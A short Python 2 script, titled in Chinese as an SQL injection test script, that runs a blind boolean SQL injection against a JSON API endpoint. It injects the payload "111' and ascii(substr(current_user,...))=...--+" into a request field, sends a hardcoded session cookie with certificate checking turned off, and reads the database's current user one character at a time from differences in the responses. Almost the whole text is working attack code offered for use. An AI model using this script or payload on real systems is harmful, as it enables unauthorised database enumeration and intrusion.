python SQL注入测试脚本（更新中）

 import requests
 import json
 import warnings
 warnings.filterwarnings("ignore")

 url = 'https://1.1.1.1/xx/1.0/apiGateway/createSource'
 headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'}
 cookies = {'session': 'aaaaaaaatZSI6eyIgYiI6IllXUnRhVzQ9In19.DYkTeA.9GSxXpaWvW1vSMyUVxCRkXkkgTQ'}
 answer = ''

 for i in range(1,9):
     for j in range(65, 123):
         payload = '111\' and ascii(substr(current_user,'+str(i)+',1))='+str(j)+'--+'
         # print payload
         data = {
                     "name": "bobac",
                     "type": "",
                     "protocol": "http",
                     "method": "POST",
                     "url": "www.www.com",
                     "port": "",
                     "timeout": 3,
                     "params": [{
                         "name": "a",
                         "changeParam": "true",
                         "position": "Parameter Path",
                         "type": "string",
                         "must": "true",
                         "default": "a"
                     }]
                 }
         json_string = json.dumps(data)
         # print type(json_string)
         new_string = json_string.replace("bobac", payload)
         new_data = json.loads(new_string)
         # print new_data
         # exit(0)
         req = requests.post(url, headers=headers, cookies=cookies, json=new_data, verify=False)
         # print req.text
         # exit(0)
         if 'xxxx' in req.text:
             answer += chr(j)
             print answer
 print 'current_user is %s' % answer